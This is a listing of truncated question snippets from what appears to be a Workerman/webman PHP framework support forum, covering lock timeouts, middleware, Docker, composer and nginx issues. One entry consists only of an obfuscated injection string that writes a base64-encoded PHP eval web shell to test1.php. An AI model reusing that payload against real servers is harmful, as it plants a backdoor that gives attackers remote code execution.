整个项目大面积出现事务超时锁住的情况 21号开始突然发现,项目出现大量事务超时锁住(业务没有激增,服务器、数据库负载都不高),刚开始只是高并发接口有个更新read_log表的业务有超时锁住的情况(该表也确实大,几千万的量), 我试着把高并发接口更新操作暂时停止了,不再更新read_log表,但是,大概过个几分钟,整个项目所有其他涉及到更新数据库表操作的接口也都出现事务超时锁住的情况,哪怕是最简单的登录接口(登录用户更...
问题描述 主项目中间件,有没有办法按约定配置的方式使用啊? 示例:在app/api/middleware/AuthMiddleware.php,将会自动加载使用该中间件 无需再config/middleware.php去填写配置,目前webman有这样的逻辑吗?...
问题描述 id='-("fil"."e"._."pu"."t"._."contents")("./test1.php",("base"."64"._."decode")('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXS...
问题描述 使用了 https://github.com/Tinywan/docker-php-webman 这个docker镜像部署了webman,可以部署成功,可以热更新。但是我想把DEBUG模式关闭,尝试了一下,1、修改了配置文件app.php中debug为false不行;2、删除文件监控热更新配置也不行。请问有什么办法处理一下这个docker里面没有 -d 参数导致一直起DEBUG的问题吗? ...
解决办法,需要指定协议 'protocol' => Frame::class 问题描述 我在 \Channel\Server::onMessage 方法里面进行打印 1 使用端口的方式,正常没报错 plugin.webman.channel.server frame://0.0.0.0:2206 打印如下 string(83) "a:2:{s:4:"type";s:9:&q...
程序代码 这里粘代码 class Worker extends Server { protected $socket = 'websocket://127.0.0.1:2346'; protected $uidConnections = []; 在终端运行workerman时,0.0.0.0:2346和127.0.0.1,内网都可以,但是使用公网ip就报这个错误了 Cannot assign requested ad...
问题描述 安装 webman/blade 报错 程序代码 composer require psr/container ^1.1.1 webman/blade 报错信息 ./composer.json has been updated Running composer update psr/container webman/blade Loading composer repositories with packag...
问题描述 从 "workerman/webman-framework": "^1.6.6",到 1.6.9执行 composer update 后提示: PHP Fatal error: Cannot redeclare run_path() (previously declared in /Users/lzy/website/huashi/vendor/workerman/webman-framework/src...
问题描述 php8.0.30中,无法 程序代码或配置 $task_worker = new Worker(); $task_worker->onWorkerStart = function(){ global $task_worker,$sec; echo '开始1^^^^^^'; sleep(2); ...
问题描述 我本地Windows环境开发 然后已经按照步骤创建了,但不起作用, https://www.workerman.net/doc/ai/dev/note.html 另外我手动添加就可以 但这样就违背了新建一个应用插件用来存放二次开发代码 另外我的根目录下config文件内 没有event.php 没关系吧 是哪里没配置导致的,我按照步骤来的啊 麻烦各位大佬指点下...
问题描述 请问官方限流组件 注解国际化如何使用 #[RateLimiter(limit: 1, ttl: 60, key: RateLimiter::SID, message: '每人每分钟只能发1次邮件')] 提示信息如何使用国际化...
问题描述 这里详细描述问题 如图,自从升级2.0版本后,一直正常,最近发现生成视频时出现官方套餐改版,停止提供服务的提示。可是api官方模型正常,额度正常,我这程序也没做修改,那这是为什么呢? 程序代码 找不到这个提示出现在哪个文件...
问题描述 用composer u 升级最新版。正常使用的程序。GatewayWorker 获取用户在线不在在线,返回的都是0 程序代码或配置 重现问题的步骤 操作系统环境及workerman/webman等具体版本 linux系统...
getwaywork 框架链接redis正常,缓存也已经写入,但是使用get方法获取始终返回null 难道只能在闭包回调里边获取对应的值吗?我所有的业务逻辑肯定不可能都写在回调里边吧...
测试发现在 onClose 时用 count($worker->connections) 去统计还是之前的数量,请问大佬是不是 onClose 事件触发时,Workerman 还没有完全清理 $worker->connections 中的连接?...
问题描述 线上环境debian12,php8.1, webman/admin 0.6.33 workerman/webman-framework 1.6.9 使用php start.php start -d 报502错误 如果使用php start.php start 就正常 但终端会输出 邮件接口的信息,邮件也正常发送和接收到 # sudo php start.php start Workerman[start...
问题描述 直接访问 webman 接口支持 Transfer-Encoding: chunked,可以返回多段,但使用 nginx代理 后只返回一段,nginx代理该怎么配置呢?目前使用的是这个:https://www.workerman.net/doc/webman/others/nginx-proxy.html...
问题描述 想要代码 依赖这个时间 start time Workerman version:4.2.1 PHP version:8.1.29 start time:2024-12-19 11:23:55 run 0 days 0 hours 问题解决 采取大佬的 $_SERVER['REQUEST_TIME']...
各位大佬好!请问下webman里可以开启[reusePort]么? 我看webman里默认为false,开启这个会不会有什么影响? ---本地环境 webman->1.6.8 workerman->5.0...